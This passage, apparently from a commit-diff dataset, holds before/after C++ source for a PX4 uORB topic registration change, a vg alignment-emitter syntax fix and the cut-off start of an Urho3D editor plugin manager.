fw_virtual_rates_setpoint_s);\n\n#include \"topics\/rc_channels.h\"\nORB_DEFINE(rc_channels, struct rc_channels_s);\n\n#include \"topics\/vehicle_command.h\"\nORB_DEFINE(vehicle_command, struct vehicle_command_s);\n\n#include \"topics\/vehicle_control_mode.h\"\nORB_DEFINE(vehicle_control_mode, struct vehicle_control_mode_s);\n\n#include \"topics\/vehicle_local_position_setpoint.h\"\nORB_DEFINE(vehicle_local_position_setpoint, struct vehicle_local_position_setpoint_s);\n\n#include \"topics\/vehicle_bodyframe_speed_setpoint.h\"\nORB_DEFINE(vehicle_bodyframe_speed_setpoint, struct vehicle_bodyframe_speed_setpoint_s);\n\n#include \"topics\/position_setpoint_triplet.h\"\nORB_DEFINE(position_setpoint_triplet, struct position_setpoint_triplet_s);\n\n#include \"topics\/vehicle_global_velocity_setpoint.h\"\nORB_DEFINE(vehicle_global_velocity_setpoint, struct vehicle_global_velocity_setpoint_s);\n\n#include \"topics\/mission.h\"\nORB_DEFINE(offboard_mission, struct mission_s);\nORB_DEFINE(onboard_mission, struct mission_s);\n\n#include \"topics\/mission_result.h\"\nORB_DEFINE(mission_result, struct mission_result_s);\n\n#include \"topics\/geofence_result.h\"\nORB_DEFINE(geofence_result, struct geofence_result_s);\n\n#include \"topics\/fence.h\"\nORB_DEFINE(fence, unsigned);\n\n#include \"topics\/vehicle_attitude_setpoint.h\"\nORB_DEFINE(vehicle_attitude_setpoint, struct vehicle_attitude_setpoint_s);\nORB_DEFINE(mc_virtual_attitude_setpoint, struct vehicle_attitude_setpoint_s);\nORB_DEFINE(fw_virtual_attitude_setpoint, struct vehicle_attitude_setpoint_s);\n\n#include \"topics\/manual_control_setpoint.h\"\nORB_DEFINE(manual_control_setpoint, struct manual_control_setpoint_s);\n\n#include \"topics\/vehicle_control_debug.h\"\nORB_DEFINE(vehicle_control_debug, struct vehicle_control_debug_s);\n\n#include \"topics\/offboard_control_mode.h\"\nORB_DEFINE(offboard_control_mode, struct offboard_control_mode_s);\n\n#include \"topics\/optical_flow.h\"\nORB_DEFINE(optical_flow, struct optical_flow_s);\n\n#include \"topics\/filtered_bottom_flow.h\"\nORB_DEFINE(filtered_bottom_flow, struct filtered_bottom_flow_s);\n\n#include \"topics\/omnidirectional_flow.h\"\nORB_DEFINE(omnidirectional_flow, struct omnidirectional_flow_s);\n\n#include \"topics\/airspeed.h\"\nORB_DEFINE(airspeed, struct airspeed_s);\n\n#include \"topics\/differential_pressure.h\"\nORB_DEFINE(differential_pressure, struct differential_pressure_s);\n\n#include \"topics\/subsystem_info.h\"\nORB_DEFINE(subsystem_info, struct subsystem_info_s);\n\n\/* actuator controls, as requested by controller *\/\n#include \"topics\/actuator_controls.h\"\n#include \"topics\/actuator_controls_0.h\"\nORB_DEFINE(actuator_controls_0, struct actuator_controls_0_s);\n#include \"topics\/actuator_controls_1.h\"\nORB_DEFINE(actuator_controls_1, struct actuator_controls_1_s);\n#include \"topics\/actuator_controls_2.h\"\nORB_DEFINE(actuator_controls_2, struct actuator_controls_2_s);\n#include \"topics\/actuator_controls_3.h\"\nORB_DEFINE(actuator_controls_3, struct actuator_controls_3_s);\n\/\/Virtual control groups, used for VTOL operation\n#include \"topics\/actuator_controls_virtual_mc.h\"\nORB_DEFINE(actuator_controls_virtual_mc, struct actuator_controls_virtual_mc_s);\n#include \"topics\/actuator_controls_virtual_fw.h\"\nORB_DEFINE(actuator_controls_virtual_fw, struct actuator_controls_virtual_fw_s);\n\n#include \"topics\/actuator_armed.h\"\nORB_DEFINE(actuator_armed, struct actuator_armed_s);\n\n#include \"topics\/actuator_outputs.h\"\nORB_DEFINE(actuator_outputs, struct actuator_outputs_s);\n\n#include \"topics\/actuator_direct.h\"\nORB_DEFINE(actuator_direct, struct actuator_direct_s);\n\n#include \"topics\/multirotor_motor_limits.h\"\nORB_DEFINE(multirotor_motor_limits, struct multirotor_motor_limits_s);\n\n#include \"topics\/telemetry_status.h\"\nORB_DEFINE(telemetry_status_0, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_1, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_2, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_3, struct telemetry_status_s);\n\n#include \"topics\/test_motor.h\"\nORB_DEFINE(test_motor, struct test_motor_s);\n\n#include \"topics\/debug_key_value.h\"\nORB_DEFINE(debug_key_value, struct debug_key_value_s);\n\n#include \"topics\/navigation_capabilities.h\"\nORB_DEFINE(navigation_capabilities, struct navigation_capabilities_s);\n\n#include \"topics\/esc_status.h\"\nORB_DEFINE(esc_status, struct esc_status_s);\n\n#include \"topics\/encoders.h\"\nORB_DEFINE(encoders, struct encoders_s);\n\n#include \"topics\/estimator_status.h\"\nORB_DEFINE(estimator_status, struct estimator_status_report);\n\n#include \"topics\/vision_position_estimate.h\"\nORB_DEFINE(vision_position_estimate, struct vision_position_estimate);\n\n#include \"topics\/vehicle_force_setpoint.h\"\nORB_DEFINE(vehicle_force_setpoint, struct vehicle_force_setpoint_s);\n\n#include \"topics\/tecs_status.h\"\nORB_DEFINE(tecs_status, struct tecs_status_s);\n\n#include \"topics\/wind_estimate.h\"\nORB_DEFINE(wind_estimate, struct wind_estimate_s);\n\n#include \"topics\/rc_parameter_map.h\"\nORB_DEFINE(rc_parameter_map, struct rc_parameter_map_s);\n\n#include \"topics\/time_offset.h\"\nORB_DEFINE(time_offset, struct time_offset_s);\n\n#include \"topics\/mc_att_ctrl_status.h\"\nORB_DEFINE(mc_att_ctrl_status, struct mc_att_ctrl_status_s);\n<commit_msg>distance_sensor: added def to objects_common.cpp<commit_after>\/****************************************************************************\n *\n *   Copyright (c) 2012-2015 PX4 Development Team. All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met:\n *\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in\n *    the documentation and\/or other materials provided with the\n *    distribution.\n * 3. Neither the name PX4 nor the names of its contributors may be\n *    used to endorse or promote products derived from this software\n *    without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS\n * \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT\n * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS\n * FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE\n * COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING,\n * BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS\n * OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED\n * AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT\n * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN\n * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n ****************************************************************************\/\n\n\/**\n * @file objects_common.cpp\n *\n * Common object definitions without a better home.\n *\/\n\n\/**\n * @defgroup topics List of all uORB topics.\n *\/\n\n#include <px4_config.h>\n\n#include <drivers\/drv_orb_dev.h>\n\n#include <drivers\/drv_mag.h>\nORB_DEFINE(sensor_mag, struct mag_report);\n\n#include <drivers\/drv_accel.h>\nORB_DEFINE(sensor_accel, struct accel_report);\n\n#include <drivers\/drv_gyro.h>\nORB_DEFINE(sensor_gyro, struct gyro_report);\n\n#include <drivers\/drv_baro.h>\nORB_DEFINE(sensor_baro, struct baro_report);\n\n#include <drivers\/drv_range_finder.h>\nORB_DEFINE(sensor_range_finder, struct range_finder_report);\n\n#include <drivers\/drv_pwm_output.h>\nORB_DEFINE(output_pwm, struct pwm_output_values);\n\n#include <drivers\/drv_rc_input.h>\nORB_DEFINE(input_rc, struct rc_input_values);\n\n#include \"topics\/vehicle_attitude.h\"\nORB_DEFINE(vehicle_attitude, struct vehicle_attitude_s);\n\n#include \"topics\/sensor_combined.h\"\nORB_DEFINE(sensor_combined, struct sensor_combined_s);\n\n#include \"topics\/vehicle_gps_position.h\"\nORB_DEFINE(vehicle_gps_position, struct vehicle_gps_position_s);\n\n#include \"topics\/vehicle_land_detected.h\"\nORB_DEFINE(vehicle_land_detected, struct vehicle_land_detected_s);\n\n#include \"topics\/satellite_info.h\"\nORB_DEFINE(satellite_info, struct satellite_info_s);\n\n#include \"topics\/home_position.h\"\nORB_DEFINE(home_position, struct home_position_s);\n\n#include \"topics\/vehicle_status.h\"\nORB_DEFINE(vehicle_status, struct vehicle_status_s);\n\n#include \"topics\/vtol_vehicle_status.h\"\nORB_DEFINE(vtol_vehicle_status, struct vtol_vehicle_status_s);\n\n#include \"topics\/safety.h\"\nORB_DEFINE(safety, struct safety_s);\n\n#include \"topics\/battery_status.h\"\nORB_DEFINE(battery_status, struct battery_status_s);\n\n#include \"topics\/servorail_status.h\"\nORB_DEFINE(servorail_status, struct servorail_status_s);\n\n#include \"topics\/system_power.h\"\nORB_DEFINE(system_power, struct system_power_s);\n\n#include \"topics\/vehicle_global_position.h\"\nORB_DEFINE(vehicle_global_position, struct vehicle_global_position_s);\n\n#include \"topics\/vehicle_local_position.h\"\nORB_DEFINE(vehicle_local_position, struct vehicle_local_position_s);\n\n#include \"topics\/vehicle_vicon_position.h\"\nORB_DEFINE(vehicle_vicon_position, struct vehicle_vicon_position_s);\n\n#include \"topics\/vehicle_rates_setpoint.h\"\nORB_DEFINE(vehicle_rates_setpoint, struct vehicle_rates_setpoint_s);\n#include \"topics\/mc_virtual_rates_setpoint.h\"\nORB_DEFINE(mc_virtual_rates_setpoint, struct mc_virtual_rates_setpoint_s);\n#include \"topics\/fw_virtual_rates_setpoint.h\"\nORB_DEFINE(fw_virtual_rates_setpoint, struct fw_virtual_rates_setpoint_s);\n\n#include \"topics\/rc_channels.h\"\nORB_DEFINE(rc_channels, struct rc_channels_s);\n\n#include \"topics\/vehicle_command.h\"\nORB_DEFINE(vehicle_command, struct vehicle_command_s);\n\n#include \"topics\/vehicle_control_mode.h\"\nORB_DEFINE(vehicle_control_mode, struct vehicle_control_mode_s);\n\n#include \"topics\/vehicle_local_position_setpoint.h\"\nORB_DEFINE(vehicle_local_position_setpoint, struct vehicle_local_position_setpoint_s);\n\n#include \"topics\/vehicle_bodyframe_speed_setpoint.h\"\nORB_DEFINE(vehicle_bodyframe_speed_setpoint, struct vehicle_bodyframe_speed_setpoint_s);\n\n#include \"topics\/position_setpoint_triplet.h\"\nORB_DEFINE(position_setpoint_triplet, struct position_setpoint_triplet_s);\n\n#include \"topics\/vehicle_global_velocity_setpoint.h\"\nORB_DEFINE(vehicle_global_velocity_setpoint, struct vehicle_global_velocity_setpoint_s);\n\n#include \"topics\/mission.h\"\nORB_DEFINE(offboard_mission, struct mission_s);\nORB_DEFINE(onboard_mission, struct mission_s);\n\n#include \"topics\/mission_result.h\"\nORB_DEFINE(mission_result, struct mission_result_s);\n\n#include \"topics\/geofence_result.h\"\nORB_DEFINE(geofence_result, struct geofence_result_s);\n\n#include \"topics\/fence.h\"\nORB_DEFINE(fence, unsigned);\n\n#include \"topics\/vehicle_attitude_setpoint.h\"\nORB_DEFINE(vehicle_attitude_setpoint, struct vehicle_attitude_setpoint_s);\nORB_DEFINE(mc_virtual_attitude_setpoint, struct vehicle_attitude_setpoint_s);\nORB_DEFINE(fw_virtual_attitude_setpoint, struct vehicle_attitude_setpoint_s);\n\n#include \"topics\/manual_control_setpoint.h\"\nORB_DEFINE(manual_control_setpoint, struct manual_control_setpoint_s);\n\n#include \"topics\/vehicle_control_debug.h\"\nORB_DEFINE(vehicle_control_debug, struct vehicle_control_debug_s);\n\n#include \"topics\/offboard_control_mode.h\"\nORB_DEFINE(offboard_control_mode, struct offboard_control_mode_s);\n\n#include \"topics\/optical_flow.h\"\nORB_DEFINE(optical_flow, struct optical_flow_s);\n\n#include \"topics\/filtered_bottom_flow.h\"\nORB_DEFINE(filtered_bottom_flow, struct filtered_bottom_flow_s);\n\n#include \"topics\/omnidirectional_flow.h\"\nORB_DEFINE(omnidirectional_flow, struct omnidirectional_flow_s);\n\n#include \"topics\/airspeed.h\"\nORB_DEFINE(airspeed, struct airspeed_s);\n\n#include \"topics\/differential_pressure.h\"\nORB_DEFINE(differential_pressure, struct differential_pressure_s);\n\n#include \"topics\/subsystem_info.h\"\nORB_DEFINE(subsystem_info, struct subsystem_info_s);\n\n\/* actuator controls, as requested by controller *\/\n#include \"topics\/actuator_controls.h\"\n#include \"topics\/actuator_controls_0.h\"\nORB_DEFINE(actuator_controls_0, struct actuator_controls_0_s);\n#include \"topics\/actuator_controls_1.h\"\nORB_DEFINE(actuator_controls_1, struct actuator_controls_1_s);\n#include \"topics\/actuator_controls_2.h\"\nORB_DEFINE(actuator_controls_2, struct actuator_controls_2_s);\n#include \"topics\/actuator_controls_3.h\"\nORB_DEFINE(actuator_controls_3, struct actuator_controls_3_s);\n\/\/Virtual control groups, used for VTOL operation\n#include \"topics\/actuator_controls_virtual_mc.h\"\nORB_DEFINE(actuator_controls_virtual_mc, struct actuator_controls_virtual_mc_s);\n#include \"topics\/actuator_controls_virtual_fw.h\"\nORB_DEFINE(actuator_controls_virtual_fw, struct actuator_controls_virtual_fw_s);\n\n#include \"topics\/actuator_armed.h\"\nORB_DEFINE(actuator_armed, struct actuator_armed_s);\n\n#include \"topics\/actuator_outputs.h\"\nORB_DEFINE(actuator_outputs, struct actuator_outputs_s);\n\n#include \"topics\/actuator_direct.h\"\nORB_DEFINE(actuator_direct, struct actuator_direct_s);\n\n#include \"topics\/multirotor_motor_limits.h\"\nORB_DEFINE(multirotor_motor_limits, struct multirotor_motor_limits_s);\n\n#include \"topics\/telemetry_status.h\"\nORB_DEFINE(telemetry_status_0, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_1, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_2, struct telemetry_status_s);\nORB_DEFINE(telemetry_status_3, struct telemetry_status_s);\n\n#include \"topics\/test_motor.h\"\nORB_DEFINE(test_motor, struct test_motor_s);\n\n#include \"topics\/debug_key_value.h\"\nORB_DEFINE(debug_key_value, struct debug_key_value_s);\n\n#include \"topics\/navigation_capabilities.h\"\nORB_DEFINE(navigation_capabilities, struct navigation_capabilities_s);\n\n#include \"topics\/esc_status.h\"\nORB_DEFINE(esc_status, struct esc_status_s);\n\n#include \"topics\/encoders.h\"\nORB_DEFINE(encoders, struct encoders_s);\n\n#include \"topics\/estimator_status.h\"\nORB_DEFINE(estimator_status, struct estimator_status_report);\n\n#include \"topics\/vision_position_estimate.h\"\nORB_DEFINE(vision_position_estimate, struct vision_position_estimate);\n\n#include \"topics\/vehicle_force_setpoint.h\"\nORB_DEFINE(vehicle_force_setpoint, struct vehicle_force_setpoint_s);\n\n#include \"topics\/tecs_status.h\"\nORB_DEFINE(tecs_status, struct tecs_status_s);\n\n#include \"topics\/wind_estimate.h\"\nORB_DEFINE(wind_estimate, struct wind_estimate_s);\n\n#include \"topics\/rc_parameter_map.h\"\nORB_DEFINE(rc_parameter_map, struct rc_parameter_map_s);\n\n#include \"topics\/time_offset.h\"\nORB_DEFINE(time_offset, struct time_offset_s);\n\n#include \"topics\/mc_att_ctrl_status.h\"\nORB_DEFINE(mc_att_ctrl_status, struct mc_att_ctrl_status_s);\n\n#include \"topics\/distance_sensor.h\"\nORB_DEFINE(distance_sensor, struct distance_sensor_s);<|endoftext|>"}
{"text":"<commit_before>\/**\n * \\file multipath_alignment_emitter.cpp\n *\n * Implements a system for emitting multipath alignments and groups of multipath alignments in multiple formats.\n *\/\n\n#include \"multipath_alignment_emitter.hpp\"\n#include \"json2pb.h\"\n\nnamespace vg {\nusing namespace std;\n\nMultipathAlignmentEmitter::MultipathAlignmentEmitter(ostream& out, int num_threads,\n                                                     bool emit_single_path) :\n    out(out),\n    multiplexer(out, num_threads)\n{\n    \/\/ init the emitters for the correct output type\n    if (emit_single_path) {\n        aln_emitters.reserve(num_threads);\n        for (int i = 0; i < num_threads; ++i) {\n            aln_emitters.emplace_back(new vg::io::ProtobufEmitter<Alignment>(multiplexer.get_thread_stream(i)));\n        }\n    }\n    else {\n        mp_aln_emitters.reserve(num_threads);\n        for (int i = 0; i < num_threads; ++i) {\n            mp_aln_emitters.emplace_back(new vg::io::ProtobufEmitter<MultipathAlignment>(multiplexer.get_thread_stream(i)));\n        }\n    }\n}\n\nMultipathAlignmentEmitter::~MultipathAlignmentEmitter() {\n    for (auto& emitter : aln_emitters) {\n        \/\/ Flush each ProtobufEmitter\n        emitter->flush();\n        \/\/ Make it go away before the stream\n        emitter.reset();\n    }\n    for (auto& emitter : mp_aln_emitters) {\n        \/\/ Flush each ProtobufEmitter\n        emitter->flush();\n        \/\/ Make it go away before the stream\n        emitter.reset();\n    }\n}\n\nvoid MultipathAlignmentEmitter::emit_pairs(vector<pair<multipath_alignment_t, multipath_alignment_t>>&& mp_aln_pairs) {\n    \n    int thread_number = omp_get_thread_num();\n    \n    if (!mp_aln_emitters.empty()) {\n        vector<MultipathAlignment> mp_alns_out(2 * mp_aln_pairs.size());\n        for (size_t i = 0; i < mp_aln_pairs.size(); ++i) {\n            to_proto_multipath_alignment(mp_aln_pairs[i].first, mp_alns_out[2 * i]);\n            to_proto_multipath_alignment(mp_aln_pairs[i].second, mp_alns_out[2 * i + 1]);\n        }\n        \n        mp_aln_emitters[thread_number]->write_many(std::move(mp_alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            mp_aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n    else {\n        vector<Alignment> alns_out(2 * mp_aln_pairs.size());\n        for (size_t i = 0; i < mp_aln_pairs.size(); ++i) {\n            convert_multipath_alignment(mp_aln_pairs[i].first, alns_out[2 * i],\n                                        nullptr,\n                                        &mp_aln_pairs[i].second);\n            convert_multipath_alignment(mp_aln_pairs[i].second, alns_out[2 * i + 1],\n                                        &mp_aln_pairs[i].first,\n                                        nullptr);\n        }\n        \n        aln_emitters[thread_number]->write_many(std::move(alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n}\n\nvoid MultipathAlignmentEmitter::emit_singles(vector<multipath_alignment_t>&& mp_alns) {\n    \n    int thread_number = omp_get_thread_num();\n    \n    if (!mp_aln_emitters.empty()) {\n        vector<MultipathAlignment> mp_alns_out(mp_alns.size());\n        for (size_t i = 0; i < mp_alns.size(); ++i) {\n            to_proto_multipath_alignment(mp_alns[i], mp_alns_out[i]);\n        }\n        \n        mp_aln_emitters[thread_number]->write_many(std::move(mp_alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            mp_aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n    else {\n        vector<Alignment> alns_out(mp_alns.size());\n        for (size_t i = 0; i < mp_alns.size(); ++i) {\n            convert_multipath_alignment(mp_alns[i], alns_out[i]);\n        }\n        \n        aln_emitters[thread_number]->write_many(std::move(alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n}\n\nvoid MultipathAlignmentEmitter::convert_multipath_alignment(const multipath_alignment_t& mp_aln, Alignment& aln,\n                                                            const multipath_alignment_t* prev_frag,\n                                                            const multipath_alignment_t* next_frag) const {\n    optimal_alignment(mp_aln, aln);\n    if (prev_frag) {\n        aln.mutable_fragment_prev()->set_name(prev_pair->name());\n    }\n    if (next_frag) {\n        aln.mutable_fragment_next()->set_name(next_pair->name());\n    }\n    \/\/ at one point vg call needed these, maybe it doesn't anymore though\n    aln.set_identity(identity(aln.path()));\n}\n}\n<commit_msg>fix syntax error<commit_after>\/**\n * \\file multipath_alignment_emitter.cpp\n *\n * Implements a system for emitting multipath alignments and groups of multipath alignments in multiple formats.\n *\/\n\n#include \"multipath_alignment_emitter.hpp\"\n#include \"json2pb.h\"\n\nnamespace vg {\nusing namespace std;\n\nMultipathAlignmentEmitter::MultipathAlignmentEmitter(ostream& out, int num_threads,\n                                                     bool emit_single_path) :\n    out(out),\n    multiplexer(out, num_threads)\n{\n    \/\/ init the emitters for the correct output type\n    if (emit_single_path) {\n        aln_emitters.reserve(num_threads);\n        for (int i = 0; i < num_threads; ++i) {\n            aln_emitters.emplace_back(new vg::io::ProtobufEmitter<Alignment>(multiplexer.get_thread_stream(i)));\n        }\n    }\n    else {\n        mp_aln_emitters.reserve(num_threads);\n        for (int i = 0; i < num_threads; ++i) {\n            mp_aln_emitters.emplace_back(new vg::io::ProtobufEmitter<MultipathAlignment>(multiplexer.get_thread_stream(i)));\n        }\n    }\n}\n\nMultipathAlignmentEmitter::~MultipathAlignmentEmitter() {\n    for (auto& emitter : aln_emitters) {\n        \/\/ Flush each ProtobufEmitter\n        emitter->flush();\n        \/\/ Make it go away before the stream\n        emitter.reset();\n    }\n    for (auto& emitter : mp_aln_emitters) {\n        \/\/ Flush each ProtobufEmitter\n        emitter->flush();\n        \/\/ Make it go away before the stream\n        emitter.reset();\n    }\n}\n\nvoid MultipathAlignmentEmitter::emit_pairs(vector<pair<multipath_alignment_t, multipath_alignment_t>>&& mp_aln_pairs) {\n    \n    int thread_number = omp_get_thread_num();\n    \n    if (!mp_aln_emitters.empty()) {\n        vector<MultipathAlignment> mp_alns_out(2 * mp_aln_pairs.size());\n        for (size_t i = 0; i < mp_aln_pairs.size(); ++i) {\n            to_proto_multipath_alignment(mp_aln_pairs[i].first, mp_alns_out[2 * i]);\n            to_proto_multipath_alignment(mp_aln_pairs[i].second, mp_alns_out[2 * i + 1]);\n        }\n        \n        mp_aln_emitters[thread_number]->write_many(std::move(mp_alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            mp_aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n    else {\n        vector<Alignment> alns_out(2 * mp_aln_pairs.size());\n        for (size_t i = 0; i < mp_aln_pairs.size(); ++i) {\n            convert_multipath_alignment(mp_aln_pairs[i].first, alns_out[2 * i],\n                                        nullptr,\n                                        &mp_aln_pairs[i].second);\n            convert_multipath_alignment(mp_aln_pairs[i].second, alns_out[2 * i + 1],\n                                        &mp_aln_pairs[i].first,\n                                        nullptr);\n        }\n        \n        aln_emitters[thread_number]->write_many(std::move(alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n}\n\nvoid MultipathAlignmentEmitter::emit_singles(vector<multipath_alignment_t>&& mp_alns) {\n    \n    int thread_number = omp_get_thread_num();\n    \n    if (!mp_aln_emitters.empty()) {\n        vector<MultipathAlignment> mp_alns_out(mp_alns.size());\n        for (size_t i = 0; i < mp_alns.size(); ++i) {\n            to_proto_multipath_alignment(mp_alns[i], mp_alns_out[i]);\n        }\n        \n        mp_aln_emitters[thread_number]->write_many(std::move(mp_alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            mp_aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n    else {\n        vector<Alignment> alns_out(mp_alns.size());\n        for (size_t i = 0; i < mp_alns.size(); ++i) {\n            convert_multipath_alignment(mp_alns[i], alns_out[i]);\n        }\n        \n        aln_emitters[thread_number]->write_many(std::move(alns_out));\n        \n        if (multiplexer.want_breakpoint(thread_number)) {\n            \/\/ The multiplexer wants our data.\n            \/\/ Flush and create a breakpoint.\n            aln_emitters[thread_number]->flush();\n            multiplexer.register_breakpoint(thread_number);\n        }\n    }\n}\n\nvoid MultipathAlignmentEmitter::convert_multipath_alignment(const multipath_alignment_t& mp_aln, Alignment& aln,\n                                                            const multipath_alignment_t* prev_frag,\n                                                            const multipath_alignment_t* next_frag) const {\n    optimal_alignment(mp_aln, aln);\n    if (prev_frag) {\n        aln.mutable_fragment_prev()->set_name(prev_frag->name());\n    }\n    if (next_frag) {\n        aln.mutable_fragment_next()->set_name(next_frag->name());\n    }\n    \/\/ at one point vg call needed these, maybe it doesn't anymore though\n    aln.set_identity(identity(aln.path()));\n}\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>fwd: Cleanup<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2018 Rokas Kupstys\n\/\/\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice shall be included in\n\/\/ all copies or substantial portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n\/\/ THE SOFTWARE.\n\/\/\n\n#if URHO3D_PLUGINS\n\n#define CR_HOST CR_DISABLE\n\n#include <Urho3D\/Core\/CoreEvents.h>\n#include <Urho3D\/Core\/Thread.h>\n#include <Urho3D\/Engine\/PluginApplication.h>\n#include <Urho3D\/IO\/File.h>\n#include <Urho3D\/IO\/FileSystem.h>\n#include <Urho3D\/IO\/Log.h>\n#include <Urho3D\/Script\/Script.h>\n#include <Toolbox\/SystemUI\/Widgets.h>\n#include \"EditorEvents.h\"\n#include \"Editor.h\"\n#include \"Plugins\/PluginManager.h\"\n#include \"PluginManager.h\"\n\n\nnamespace Urho3D\n{\n\nURHO3D_EVENT(E_ENDFRAMEPRIVATE, EndFramePrivate)\n{\n}\n\n#if __linux__\nstatic const char* platformDynamicLibrarySuffix = \".so\";\n#elif _WIN32\nstatic const char* platformDynamicLibrarySuffix = \".dll\";\n#elif __APPLE__\nstatic const char* platformDynamicLibrarySuffix = \".dylib\";\n#else\n#   error Unsupported platform.\n#endif\n\n#if URHO3D_CSHARP && URHO3D_PLUGINS\nextern \"C\" URHO3D_EXPORT_API void ParseArgumentsC(int argc, char** argv) { ParseArguments(argc, argv); }\nextern \"C\" URHO3D_EXPORT_API Application* CreateEditorApplication(Context* context) { return new Editor(context); }\n#endif\n\nPlugin::Plugin(Context* context)\n    : Object(context)\n{\n}\n\nbool Plugin::Unload()\n{\n#if URHO3D_PLUGINS\n    if (type_ == PLUGIN_NATIVE)\n    {\n        cr_plugin_close(nativeContext_);\n        nativeContext_.userdata = nullptr;\n        return true;\n    }\n#if URHO3D_CSHARP\n    else if (type_ == PLUGIN_MANAGED)\n    {\n        Script* script = GetSubsystem<Script>();\n        script->UnloadRuntime();        \/\/ Destroy plugin AppDomain.\n        script->LoadRuntime();          \/\/ Create new empty plugin AppDomain. Caller is responsible for plugin reinitialization.\n        return true;\n    }\n#endif\n#endif\n    return false;\n}\n\nPluginManager::PluginManager(Context* context)\n    : Object(context)\n{\n#if URHO3D_PLUGINS\n    CleanUp();\n    SubscribeToEvent(E_ENDFRAMEPRIVATE, [this](StringHash, VariantMap&) { OnEndFrame(); });\n    SubscribeToEvent(E_SIMULATIONSTART, [this](StringHash, VariantMap&) {\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->nativeContext_.userdata != nullptr && plugin->nativeContext_.userdata != context_)\n                reinterpret_cast<PluginApplication*>(plugin->nativeContext_.userdata)->Start();\n        }\n    });\n    SubscribeToEvent(E_SIMULATIONSTOP, [this](StringHash, VariantMap&) {\n        for (auto& plugin : plugins_)\n        {\n            if (plugin->nativeContext_.userdata != nullptr && plugin->nativeContext_.userdata != context_)\n                reinterpret_cast<PluginApplication*>(plugin->nativeContext_.userdata)->Stop();\n        }\n    });\n#if URHO3D_CSHARP\n    \/\/ Initialize AppDomain for managed plugins.\n    GetSubsystem<Script>()->LoadRuntime();\n#endif\n#endif\n}\n\nPlugin* PluginManager::Load(const String& name)\n{\n#if URHO3D_PLUGINS\n    if (Plugin* loaded = GetPlugin(name))\n        return loaded;\n\n    String pluginPath = NameToPath(name);\n    if (pluginPath.Empty())\n        return nullptr;\n\n    SharedPtr<Plugin> plugin(new Plugin(context_));\n    plugin->type_ = GetPluginType(context_, 